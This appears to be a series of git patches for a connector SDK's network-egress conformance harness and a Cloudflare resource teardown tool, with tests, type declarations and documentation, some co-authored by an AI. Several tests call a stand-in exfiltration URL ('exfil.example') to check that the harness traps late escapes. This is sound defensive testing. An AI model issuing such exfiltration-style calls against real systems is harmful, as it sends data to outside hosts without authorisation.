expect(report.cases[1]?.findings).toEqual([]); + expect(lateRefusal).toBeInstanceOf(Error); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('drops a probe escape observed after early refusal', async () => { + let base!: (url: string) => Promise; + const report = await rejected( + assertConnectorConformance( + (runtime) => { + base = runtime.policies.fetch as (url: string) => Promise; + throw new Error('probe factory failed'); + }, + { manifest: noEgress, cases: [quietCase] }, + ), + ); + const findingsBefore = structuredClone(report.findings); + const lengthBefore = report.findings.length; + expect(() => base('https://exfil.example/after')).toThrow( + 'connector called the supplied base transport directly', + ); + expect(report.findings).toHaveLength(lengthBefore); + expect(report.findings).toEqual(findingsBefore); + }); + + it('drops an escape observed after the report is built', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let base!: (url: string) => Promise; + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + base = runtime.policies.fetch as unknown as ( + url: string, + ) => Promise; + return quietFactory()(runtime); + }; + const report = await assertConnectorConformance(subject, { + manifest: noEgress, + cases: [quietCase], + }); + const findingsBefore = report.findings.length; + const casesBefore = structuredClone(report.cases); + // #when + expect(() => base('https://exfil.example/after')).toThrow( + 'connector called the supplied base transport directly', + ); + // #then + expect(report.conformant).toBe(true); + expect(report.findings).toHaveLength(findingsBefore); + expect(report.cases).toEqual(casesBefore); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + it('records NETWORK_IO_OUTSIDE_RUNTIME_FETCH without CASE_INVOCATION_FAILED for an uncaught global fetch refusal', async () => { const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); const report = await rejected( @@ -1588,6 +1827,48 @@ describe('connector egress conformance', () => { expect(report.cases[0]?.decisionCodes).toContain(undefined); }); + it('preserves the audit witness when the connector mutates the returned event', async () => { + const reports: ConnectorConformanceReport[] = []; + for (const mutate of [false, true]) { + reports.push( + await assertConnectorConformance( + (runtime) => + quietFactory(async () => { + const event = runtime.policies.audit.record({ + actor: null, + action: 'tool.call', + resource: 'vendor.read', + decision: 'denied', + decisionCode: 'EVALUATOR_DENIED', + policyKind: 'evaluator', + reason: 'policy denied', + }); + if (mutate) { + Object.defineProperty(event, 'decisionCode', { + get() { + throw new Error('decisionCode unreadable'); + }, + }); + } + return {}; + })(runtime), + { + manifest: noEgress, + cases: [ + { + ...quietCase, + expect: { outcome: 'policy-denied', code: 'EVALUATOR_DENIED' }, + }, + ], + }, + ), + ); + } + expect(reports[0]?.conformant).toBe(true); + expect(reports[0]?.cases[0]?.proved).toBe('policy-denied'); + expect(reports[1]).toEqual(reports[0]); + }); + it("records at least one audit event for every expectation outcome that reaches the connector's gate boundary", async () => { // #given const scenarios: { diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts index 6fdb823b..01ff9c48 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts @@ -206,7 +206,7 @@ export class ConnectorConformanceError extends Error { } export const CONFORMANCE_LIMIT = - "conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee."; + "conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee."; class ConformanceRefusal extends Error {} @@ -589,6 +589,24 @@ function errorConstructorName(value: unknown): string { } } +function classifyInvocationError( + value: unknown, +): 'boundary' | 'policy' | 'refusal' | 'foreign' { + try { + if ( + value instanceof ConnectorValidationError || + value instanceof ConnectorInvocationError + ) { + return 'boundary'; + } + if (value instanceof ConnectorPolicyError) return 'policy'; + if (value instanceof ConformanceRefusal) return 'refusal'; + return 'foreign'; + } catch { + return 'foreign'; + } +} + function invocationFailureReason(error: unknown): string { try { return `case invocation failed with ${error instanceof Error ? errorConstructorName(error) : describeValue(error)}`; @@ -887,8 +905,10 @@ export function createConformanceAssertion(collaborators: { const cases: ConnectorConformanceCaseResult[] = []; const instrumented = new Set(); let posture: ConnectorEgressPosture | undefined; + let runClosed = false; try { const recordRun: RecordFinding = (finding) => { + if (runClosed) return; findings.push(finding); }; const recordProbeEscape = (attempt: ConnectorConformanceEscape) => { @@ -900,7 +920,10 @@ export function createConformanceAssertion(collaborators: { recordRun, 'probe factory', ); - if (probeStack === undefined) return refuseRun(findings); + if (probeStack === undefined) { + runClosed = true; + return refuseRun(findings); + } let probe!: Connector; try { const probeTransport = createCaseTransport( @@ -934,6 +957,7 @@ export function createConformanceAssertion(collaborators: { f.code === 'INSTRUMENTATION_NOT_RESTORED', ) ) { + runClosed = true; return refuseRun(findings); } posture = connectorEgressPosture(probe); @@ -974,7 +998,17 @@ export function createConformanceAssertion(collaborators: { findings.push(scoped); caseFindings.push(scoped); }; + let caseSettled = false; const recordEscape = (attempt: ConnectorConformanceEscape) => { + if (runClosed) return; + if (caseSettled) { + const finding = escapeFinding(attempt); + recordRun({ + ...finding, + reason: `${finding.reason}; observed after case '${caseName}' settled`, + }); + return; + } escapes.push(attempt); }; const stack = installEntries( @@ -998,6 +1032,7 @@ export function createConformanceAssertion(collaborators: { let timedOut = false; let instrumentationIntact = true; let invocationError: unknown; + let invocationFailed = false; let timer: unknown; if (stack !== undefined) { for (const entry of stack) instrumented.add(entry.label); @@ -1009,7 +1044,9 @@ export function createConformanceAssertion(collaborators: { ); const caseLogger = new AuditLogger({ sink: (event) => { - caseAuditEvents.push({ event, inWindow }); + try { + caseAuditEvents.push({ event: { ...event }, inWindow }); + } catch {} }, }); let connector!: Connector; @@ -1075,6 +1112,7 @@ export function createConformanceAssertion(collaborators: { }); } else { invocationError = error; + invocationFailed = true; } } finally { inWindow = false; @@ -1089,8 +1127,11 @@ export function createConformanceAssertion(collaborators: { } } } - for (const attempt of escapes) recordCase(escapeFinding(attempt)); - if (!invoked && invocationError !== undefined) { + const caseEscapes = [...escapes]; + caseSettled = true; + for (const attempt of caseEscapes) + recordCase(escapeFinding(attempt)); + if (!invoked && invocationFailed) { recordCase({ code: 'CASE_INVOCATION_FAILED', reason: invocationFailureReason(invocationError), @@ -1108,15 +1149,11 @@ export function createConformanceAssertion(collaborators: { decisionCodes = caseAuditEvents .filter((e) => e.inWindow) .map((e) => e.event.decisionCode); - const boundaryError = - invocationError instanceof ConnectorValidationError || - invocationError instanceof ConnectorInvocationError; - if ( - invocationError !== undefined && - !boundaryError && - !(invocationError instanceof ConnectorPolicyError) && - !(invocationError instanceof ConformanceRefusal) - ) { + // A value whose classification cannot be read is by definition + // none of the three known kinds, so it takes the foreign branch. + const invocationKind = classifyInvocationError(invocationError); + const boundaryError = invocationKind === 'boundary'; + if (invocationFailed && invocationKind === 'foreign') { recordCase({ code: 'CASE_INVOCATION_FAILED', reason: invocationFailureReason(invocationError), @@ -1124,7 +1161,7 @@ export function createConformanceAssertion(collaborators: { } const missingFetch = transportCalls === 0 && - escapes.some( + caseEscapes.some( (attempt) => attempt.entryPoint === 'globalThis.fetch' && attempt.host !== null && @@ -1193,11 +1230,11 @@ export function createConformanceAssertion(collaborators: { name: caseName, proved, guardedHosts, - escapes, + escapes: caseEscapes, decisionCodes, transportCalls, auditEvents: witnesses.length, - findings: caseFindings, + findings: [...caseFindings], }); const stoppingCode = timedOut ? 'CASE_TIMEOUT' @@ -1237,12 +1274,14 @@ export function createConformanceAssertion(collaborators: { } finally { activeRun = undefined; } + runClosed = true; + const runFindings = [...findings]; const report: ConnectorConformanceReport = { - conformant: findings.length === 0, + conformant: runFindings.length === 0, ...(posture === undefined ? {} : { posture }), instrumented: [...instrumented], - cases, - findings, + cases: [...cases], + findings: runFindings, limit: CONFORMANCE_LIMIT, }; if (!report.conformant) refuseRun(report.findings, report); diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index 13c6f593..0bc167b7 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -22,6 +22,8 @@ import { captureConnectorDenialMetadata, captureConnectorEvaluatorMetadata, connectorErrorDecision, + isInstanceOf, + readProperty, } from '../connector-decision.js'; import type { NetworkEgressOptions, @@ -1279,13 +1281,16 @@ export function createConnector( error: unknown, detail: Record = {}, ): void { - if (error instanceof OutputValidationFailure) return; + if (isInstanceOf(error, OutputValidationFailure)) return; // This connector's own policy denials (e.g. the rate-limit gate inside // a keyed attempt) were already audited by deny(); a second 'execute // threw' record would misattribute them to the connector's code. A // NESTED connector's denial still records here — that composite call // did fail in execute. - if (error instanceof ConnectorPolicyError && error.connector === id) { + if ( + isInstanceOf(error, ConnectorPolicyError) && + readProperty(error, 'connector') === id + ) { return; } if ( @@ -1346,7 +1351,7 @@ export function createConnector( } return validation.value; } catch (error) { - if (error instanceof OutputValidationFailure) throw error; + if (isInstanceOf(error, OutputValidationFailure)) throw error; throw new OutputValidationFailure('exception', error); } } @@ -1643,7 +1648,7 @@ export function createConnector( dryRun: true, }); } catch (error) { - if (error instanceof OutputValidationFailure) { + if (isInstanceOf(error, OutputValidationFailure)) { recordOutputValidationError(requestContext, { dryRun: true }); if (directInvocation) { directInvocation.validationPhase = 'output'; @@ -1872,7 +1877,7 @@ export function createConnector( // side effect, so keep the reservation pending instead of // making an immediate retry duplicate it. This matches the // fail-safe posture for a failed final put. - if (!(error instanceof OutputValidationFailure)) { + if (!isInstanceOf(error, OutputValidationFailure)) { try { await store.release(storageKey, token); } catch (releaseError) { @@ -1933,7 +1938,7 @@ export function createConnector( return { kind: 'attempt', attempt }; }); } catch (error) { - if (error instanceof OutputValidationFailure) { + if (isInstanceOf(error, OutputValidationFailure)) { recordOutputValidationError(requestContext, { idempotencyKey: key, }); @@ -1952,7 +1957,7 @@ export function createConnector( const result = await config.execute(typedInput, context, runtime); return finishAllowed(requestContext, validateOutput(result)); } catch (error) { - if (error instanceof OutputValidationFailure) { + if (isInstanceOf(error, OutputValidationFailure)) { recordOutputValidationError(requestContext); if (directInvocation) { directInvocation.validationPhase = 'output'; From 8d1b1f1bdaa8b99b9321729921222357962aba40 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 21:50:18 +0400 Subject: [PATCH 156/169] fix(fleet-control): record single-page attestations and scan queues The direct credentialed teardown recorded every single-page residual surface as `exhaustive: false`, whatever the provider sent about the page, and it did not list the account's queues. A teardown therefore recorded no completeness for the scripts, domains and routes pages, and a queue carrying the run's prefix went unrecorded. `singlePage` in `direct-credentialed-provider.mjs` returns `exhaustive` from the provider's own attestation. On a single-page listing response the transport's `json()` records, in a module-level `WeakMap` keyed on the envelope's `result` array, whether `result_info` corroborated a complete page: a `total_count` equal to the row count, a `total_pages` of one, or zero pages with zero rows. A page carrying no such record reads `false`. `queues` joins `DIRECT_RESIDUAL_SURFACES`, so the surface schema and `isSettled` carry it, and a prefixed queue retains the run as `residual-present`. `observe()` in `direct-credentialed-teardown.mjs` lists the account's queues and matches on `queue_name`; a 404 records an empty surface the provider did not attest (`exhaustive: false`), and a 403 becomes `forbidden` as on the other surfaces. `isSettled` reads each surface's `prefixCount` and `globalCount`, not its `exhaustive`; no teardown failure code and no configuration flag are added. The declarations follow: `exhaustive: boolean` in `direct-credentialed-provider.d.mts`, `'queues'` in `direct-credentialed-run-state.d.mts`. `docs/fleet-control.md` states how `exhaustive` is derived, what `isSettled` asserts prefix-scoped and what it asserts only under `disposableAccount: true`, and that a journal written before this version is refused on resume; the token row says the token must permit the queues read. `world()` in the teardown suite serves a queues page and gains a `corroborate` option over the scripts, domains, routes and queues listings, and `restProjection` in `cloudflare-fetch-fixture.ts` serves an empty queues page. Fourteen tests cover the three corroborating `result_info` shapes, the four uninformative ones and the two the transport refuses, the prefixed queue, the attestation on every single-page surface, the shared-account settle, the queues 404, and a journal recorded before the queues surface; the forbidden-surface loop and the pinned request order gain the queues entry. Co-Authored-By: Claude Fable 5.1 --- docs/fleet-control.md | 4 +- .../direct-credentialed-provider.d.mts | 2 +- .../scripts/direct-credentialed-provider.mjs | 13 +- .../direct-credentialed-run-state.d.mts | 3 +- .../scripts/direct-credentialed-run-state.mjs | 1 + .../scripts/direct-credentialed-teardown.mjs | 14 +++ .../test/direct-credentialed-provider.test.ts | 62 +++++++++- .../test/direct-credentialed-teardown.test.ts | 111 +++++++++++++++++- .../test/fixtures/cloudflare-fetch-fixture.ts | 8 ++ 9 files changed, 208 insertions(+), 10 deletions(-) diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 660796a3..53b538c1 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -660,7 +660,7 @@ Set these environment variables: | --- | --- | --- | | `FLEET_DIRECT_CONFORMANCE_CONFIG` | Preflight, run, resume | Path to the configuration | | `CLOUDFLARE_ACCOUNT_ID` | Run, resume | Account identifier | -| `CLOUDFLARE_API_TOKEN` | Run, resume | Provider token | +| `CLOUDFLARE_API_TOKEN` | Run, resume | Provider token; the residual scan lists the account's queues, so it must permit that read | | `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET` | Run, resume | Reference-worker invocation secret | Values must be nonempty, without surrounding whitespace or control characters. The runner does not load `.env` files or discover a Wrangler login. Help needs no configuration or credentials. @@ -701,7 +701,7 @@ Give `evidence.json` to the recovery approval. Its allowlist projects configurat The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies. -Treat residual inventory according to its recorded scope: `SinglePage` surfaces are not provably exhaustive, and the global bucket count covers the `default` jurisdiction. Offline results do not establish live resource creation, live account cleanup, or recovery authorization. +Treat residual inventory according to its recorded scope. The scan lists scripts, domains, routes, and queues as single pages, and each records `exhaustive` from the provider's `result_info`: `true` when the provider corroborated the page, `false` when it sent no attestation. The transport refuses a response whose `result_info` contradicts a complete page. `isSettled` asserts a prefix-scoped zero residual on each recorded surface, and a global zero residual only under `disposableAccount: true`, both from the recorded counts; the global bucket count covers the `default` jurisdiction. A journal written before this version carries no queues surface and is refused on resume, so start a new run. Offline results do not establish live resource creation, live account cleanup, or recovery authorization. ## Preserve the control-plane boundary diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts index 68cc5f9f..a38fff47 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts @@ -75,7 +75,7 @@ export function classifyDispatchNamespaces( export function singlePage( promise: PromiseLike<{ readonly result: readonly Row[] }>, -): Promise>; +): Promise>; export function bucketPages( input: Readonly<{ diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs index 59ed2910..da0b7349 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs @@ -242,6 +242,11 @@ function validateEnvelope(value) { refuse('provider-unavailable'); } +// `SinglePage` copies only the rows, so a caller cannot reach the `result_info` +// the provider sent. The transport records that attestation against the row +// array the page carries. +const singlePageAttestations = new WeakMap(); + function proofFetch(transport, shape, bound) { return async (input, init) => { const response = await transport.fetch(input, init); @@ -312,6 +317,12 @@ function proofFetch(transport, shape, bound) { (totalCount !== undefined && totalCount !== rows.length) ) refuse('provider-unavailable'); + singlePageAttestations.set( + rows, + totalCount === rows.length || + totalPages === 1 || + (totalPages === 0 && rows.length === 0), + ); } else if ( rows.length === 0 && ((totalPages !== undefined && totalPages > requestedPage) || @@ -382,7 +393,7 @@ export async function classifyDispatchNamespaces(single, selectors, bound) { export async function singlePage(promise) { const rows = (await promise).result; if (!Array.isArray(rows)) refuse('provider-unavailable'); - return { rows, exhaustive: false }; + return { rows, exhaustive: singlePageAttestations.get(rows) ?? false }; } export async function bucketPages({ sdk, selectors, jurisdiction }) { diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 5dfbe510..c7b42ea8 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -158,7 +158,8 @@ export type DirectResidualSurface = | 'scripts' | 'buckets' | 'domains' - | 'routes'; + | 'routes' + | 'queues'; export interface DirectResidualObservation { readonly version: 1; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index 6afdf87b..1ead85ba 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -388,6 +388,7 @@ export const DIRECT_RESIDUAL_SURFACES = Object.freeze([ 'buckets', 'domains', 'routes', + 'queues', ]); export const DIRECT_TEARDOWN_MAXIMA = Object.freeze({ diff --git a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs index bfc9f7fc..284e7dcd 100644 --- a/packages/fleet-control/scripts/direct-credentialed-teardown.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-teardown.mjs @@ -340,6 +340,15 @@ export async function teardownDirectReference(input) { const routes = await singlePage( single.workers.routes.list({ zone_id: zoneId }), ); + let queues; + try { + queues = await singlePage(single.queues.list(selectors)); + } catch (error) { + // A 404 states the account carries no queue collection: an empty page + // the provider did not attest. + if (!(error instanceof APIError) || error.status !== 404) throw error; + queues = { rows: [], exhaustive: false }; + } let dispatch; try { const classified = await classifyDispatchNamespaces( @@ -408,6 +417,11 @@ export async function teardownDirectReference(input) { routes.exhaustive, routes.rows.length, ), + queues: surface( + matching(queues.rows, 'queue_name'), + queues.exhaustive, + queues.rows.length, + ), }, bucketJurisdictions: ['default'], dispatch, diff --git a/packages/fleet-control/test/direct-credentialed-provider.test.ts b/packages/fleet-control/test/direct-credentialed-provider.test.ts index 41377c32..339e2f41 100644 --- a/packages/fleet-control/test/direct-credentialed-provider.test.ts +++ b/packages/fleet-control/test/direct-credentialed-provider.test.ts @@ -1,7 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { openDirectProviderSession } from '../scripts/direct-credentialed-provider.mjs'; +import { + openDirectProviderSession, + singlePage, +} from '../scripts/direct-credentialed-provider.mjs'; const sessions: Awaited>[] = []; @@ -72,6 +75,63 @@ describe.each([ }); }); +describe('single page attestation', () => { + const rows = [{ queue_name: 'queue' }]; + const listed = async (envelope: Record) => { + const { session } = await fixture({ + success: true, + errors: [], + ...envelope, + }); + return singlePage(session.single.queues.list({ account_id: 'account' })); + }; + + it.each([ + { + kind: 'a total_count equal to the rows', + result_info: { total_count: 1 }, + }, + { kind: 'a single total_page', result_info: { total_pages: 1 } }, + ])('records an exhaustive page for $kind', async ({ result_info }) => { + await expect(listed({ result: rows, result_info })).resolves.toEqual({ + rows, + exhaustive: true, + }); + }); + + it('records an exhaustive empty page for a zero total_pages', async () => { + await expect( + listed({ result: [], result_info: { total_pages: 0 } }), + ).resolves.toEqual({ rows: [], exhaustive: true }); + }); + + it.each([ + { kind: 'an absent', envelope: {} }, + { kind: 'a null', envelope: { result_info: null } }, + { kind: 'an empty', envelope: { result_info: {} } }, + { + kind: 'a count-only', + envelope: { result_info: { count: 1, per_page: 50 } }, + }, + ])('records a non-exhaustive page for $kind result_info', async ({ + envelope, + }) => { + await expect(listed({ result: rows, ...envelope })).resolves.toEqual({ + rows, + exhaustive: false, + }); + }); + + it.each([ + { kind: 'more than one page', result_info: { total_pages: 2 } }, + { kind: 'a total_count above the rows', result_info: { total_count: 2 } }, + ])('refuses $kind', async ({ result_info }) => { + await expect(listed({ result: rows, result_info })).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + }); +}); + it('requests identity encoding for the export object GET through the native SDK', async () => { const { session, fetchRequest } = await fixture({}); fetchRequest.mockResolvedValueOnce(new Response('SQL')); diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts index c5b7996a..ded845d4 100644 --- a/packages/fleet-control/test/direct-credentialed-teardown.test.ts +++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import { readFile } from 'node:fs/promises'; +import { readFile, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs'; @@ -13,6 +13,7 @@ import { teardownDirectReference } from '../scripts/direct-credentialed-teardown import { bootstrapContext, cleanupDirectRunState, + closed, completeScenario, completeScenarioJournal, exportKey, @@ -87,6 +88,7 @@ async function world( limit?: number; disposableAccount?: boolean; complete?: boolean; + corroborate?: boolean; } = {}, ) { const limit = options.limit ?? 8; @@ -117,6 +119,7 @@ async function world( scripts: [] as Row[], domains: [] as Row[], routes: [] as Row[], + queues: [] as Row[], dispatch: [] as Row[], }; let hook: Hook | undefined; @@ -133,6 +136,12 @@ async function world( ...(state.scriptPresent ? [{ id: names.referenceWorker }] : []), ...state.scripts, ]; + // The live shapes carry no `result_info` on scripts and routes, so the + // default world sends none; `corroborate` opts into the attested shape. + const listing = (rows: Row[]) => + options.corroborate === true + ? json(rows, { total_count: rows.length }) + : json(rows); const fetchRequest = vi.fn(async (input, init) => { const request = new Request(input, init); const url = new URL(request.url); @@ -168,7 +177,7 @@ async function world( headers: { 'Content-Type': 'application/javascript' }, }) : absent(); - if (path === `${ROOT}/workers/scripts`) return json(residualScripts()); + if (path === `${ROOT}/workers/scripts`) return listing(residualScripts()); if (path.startsWith(`${ROOT}/d1/database/`)) { const row = state.databases.get( path.slice(`${ROOT}/d1/database/`.length), @@ -217,8 +226,9 @@ async function world( creation_date: '2026-09-10T00:00:00.000Z', }) : absent(); - if (path === `${ROOT}/workers/domains`) return json(state.domains); - if (path === ROUTES) return json(state.routes); + if (path === `${ROOT}/workers/domains`) return listing(state.domains); + if (path === ROUTES) return listing(state.routes); + if (path === `${ROOT}/queues`) return listing(state.queues); if (path === `${ROOT}/workers/dispatch/namespaces`) return json(state.dispatch); } @@ -342,6 +352,7 @@ describeLinux('direct reference teardown', () => { `GET ${ROOT}/r2/buckets`, `GET ${ROOT}/workers/domains`, `GET ${ROUTES}`, + `GET ${ROOT}/queues`, `GET ${ROOT}/workers/dispatch/namespaces`, `GET ${w.script}/versions`, ]); @@ -806,6 +817,7 @@ describeLinux('direct reference teardown', () => { `${ROOT}/r2/buckets`, `${ROOT}/workers/domains`, ROUTES, + `${ROOT}/queues`, ]) { const w = await world(); w.setHook((request, url) => @@ -973,6 +985,97 @@ describeLinux('direct reference teardown', () => { }); }); + it('records a prefixed queue as a residual and settles when none is left', async () => { + const left = await world(); + left.state.queues.push({ queue_name: `${left.prefix}-left-behind` }); + const retainedOutcome = retained(await left.run()); + expect(retainedOutcome.reason).toBe('residual-present'); + expect(present(retainedOutcome.facts.residual).surfaces.queues).toEqual({ + prefixCount: 1, + prefixNames: [`${left.prefix}-left-behind`], + globalCount: 1, + exhaustive: false, + }); + const empty = await world(); + const outcome = await empty.run(); + expect(outcome.status).toBe('cleaned'); + expect(present(outcome.facts.residual).surfaces.queues).toEqual({ + prefixCount: 0, + prefixNames: [], + globalCount: 0, + exhaustive: false, + }); + }); + + it('records the provider attestation on every single-page surface', async () => { + const surfaces = ['scripts', 'domains', 'routes', 'queues'] as const; + const plain = await world(); + const uncorroborated = await plain.run(); + expect(uncorroborated.status).toBe('cleaned'); + for (const name of surfaces) + expect(present(uncorroborated.facts.residual).surfaces[name]).toEqual({ + prefixCount: 0, + prefixNames: [], + globalCount: 0, + exhaustive: false, + }); + const attested = await world({ corroborate: true }); + const corroborated = await attested.run(); + expect(corroborated.status).toBe('cleaned'); + for (const name of surfaces) + expect(present(corroborated.facts.residual).surfaces[name]).toEqual({ + prefixCount: 0, + prefixNames: [], + globalCount: 0, + exhaustive: true, + }); + }); + + it('settles a shared account on the prefix-scoped claim alone', async () => { + const w = await world({ disposableAccount: false }); + w.state.scripts.push({ id: 'unrelated-worker' }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(present(outcome.facts.residual).surfaces.scripts).toEqual({ + prefixCount: 0, + prefixNames: [], + globalCount: null, + exhaustive: false, + }); + }); + + it('reads a queues 404 as an account without a queue collection', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === `${ROOT}/queues` + ? absent() + : undefined, + ); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect(present(outcome.facts.residual).surfaces.queues).toEqual({ + prefixCount: 0, + prefixNames: [], + globalCount: 0, + exhaustive: false, + }); + }); + + it('refuses a journal recorded before the queues surface', async () => { + const w = await world(); + expect((await w.run()).status).toBe('cleaned'); + await closed(w.journal); + const path = join(w.journal.directory, 'journal.json'); + const snapshot = JSON.parse(await readFile(path, 'utf8')) as { + teardown: { residual: { surfaces: Record } }; + }; + delete snapshot.teardown.residual.surfaces.queues; + await writeFile(path, `${JSON.stringify(snapshot)}\n`); + await expect( + opened({ ...w.f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + it('keeps the API token and request headers out of the journal', async () => { const w = await world(); await w.run(); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index 047fa321..090ae7cc 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -480,6 +480,14 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { ), ); } + if ( + method === 'GET' && + /\/accounts\/[^/]+\/queues$/u.test(target.pathname) + ) { + // The direct lane's residual scan lists the account's queues; no world + // fixture creates one. + return pageArray([]); + } if (target.pathname.endsWith('/workers/domains') && method === 'GET') { const domains = world.customDomains.map((domain) => ({ ...domain })); await world.applyAfter('listCustomDomains'); From f48a5255e63c1eb820a28d34c6eb3ab8142284fb Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 23:05:58 +0400 Subject: [PATCH 157/169] refactor(breakwater): point the conformance limit at one documented list `CONFORMANCE_LIMIT` was a paragraph of 1,457 characters, placed on every `ConnectorConformanceReport` as `limit` and mirrored byte-for-byte in `packages/breakwater/CONNECTORS.md`, `docs/connector-interface.md` and `.changeset/connector-conformance-harness.md`. Correcting one clause meant changing four copies of the paragraph. Its clauses restated rules those documents state elsewhere, and partial statements of the same channels stood beside it in `CONNECTORS.md` and in `docs/connector-interface.md`. `CONFORMANCE_LIMIT` is one sentence: the finite-case scope, then the permanent URL of the section that lists the channels the harness does not observe. That section is `### Conformance limits` in `packages/breakwater/CONNECTORS.md`, a sibling of `### Assert connector conformance`, immediately before `## Contribute a connector`. It opens with a one-line lead-in and the sentence as a blockquote, a mirror the pin test reads, then a sentence on the finite evidence a run produces and eight numbered items covering the scope of that evidence and the channels a run does not observe. Items 2 to 5, 7 and 8 refer to a rule the file states earlier instead of restating it. The precedence paragraph under the outcome table states once the condition under which a case reports hosts and runs the outcome check, and item 4 defers to it for whether a served call's host proves `guarded-request`; item 7 states that, for work abandoned by any case, a read of `globalThis.fetch` when no case trap is installed reaches the restored global if restoration succeeds, and that a request through that global is neither trapped nor recorded. The paragraph on supplied fixtures and the sentences on a redefinition the case reverses and on a timed-out case's restored global are deleted where they stood and folded into items 8, 2 and 7. `docs/connector-interface.md` keeps the sentence as its blockquote mirror, and its sentence on a redefinition the case reverses points at the section. The harness changeset carries the new sentence, and the paraphrase in `.changeset/breakwater-conformance-foreign-values-and-late-escapes.md` points at the section. The pin test still requires the constant verbatim in both documents and, while it exists, the harness changeset; the assertion that matched old prose in `limit` compares to the constant; a test comment that quoted an old sentence names the section. `CONNECTORS.md` ships with the package, and `pnpm docs:check` validates the URL's fragment from the Markdown mirrors. What the harness traps, records, snapshots and drops does not change; a host that displays or stores `report.limit` sees the shorter text, and the changeset is a patch. Co-Authored-By: Claude Fable 5.1 --- 